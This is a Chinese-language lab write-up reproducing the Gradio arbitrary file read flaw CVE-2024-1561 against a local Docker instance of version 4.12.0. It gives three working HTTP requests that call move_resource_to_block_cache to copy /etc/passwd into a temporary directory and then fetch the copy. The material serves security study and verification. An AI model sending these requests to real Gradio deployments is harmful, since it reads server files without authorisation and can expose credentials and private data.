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# Gradio 任意文件读取漏洞CVE-2024-1561
Gradio是一个Python库允许用户无需编写前端代码即可为机器学习模型快速构建Web界面。
在Gradio 4.13版本之前,`component_server`接口允许攻击者调用`Component`类的任意方法。攻击者可以利用`move_resource_to_block_cache`方法,将服务器上的任意文件复制到临时目录,并进一步读取其内容,从而实现任意文件读取。
参考链接:
- <https://github.com/gradio-app/gradio/pull/6884>
- <https://nvd.nist.gov/vuln/detail/CVE-2024-1561>
## 环境启动
执行如下命令启动一个由Gradio 4.12.0编写的应用:
```
docker compose up -d
```
环境启动后,默认未开启身份验证。你可以通过`http://your-ip:7860`访问该应用。
## 漏洞复现
首先,访问`/config`接口,获取一个组件的`id`字段,例如`3`
```
GET /config HTTP/1.1
Host: 127.0.0.1:7860
```
![](1.png)
然后,利用`move_resource_to_block_cache`方法,将`/etc/passwd`文件写入临时目录,接口会返回临时文件路径。
```
POST /component_server HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
{
"component_id": "3",
"data": "/etc/passwd",
"fn_name": "move_resource_to_block_cache",
"session_hash": "aaaaaaaaaaa"
}
```
![](2.png)
最后,通过`file`接口拼接返回的路径,即可读取文件内容。
```
GET /file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd HTTP/1.1
Host: 127.0.0.1:7860
```
![](3.png)
如果操作成功,即可看到`/etc/passwd`的内容,证明漏洞存在。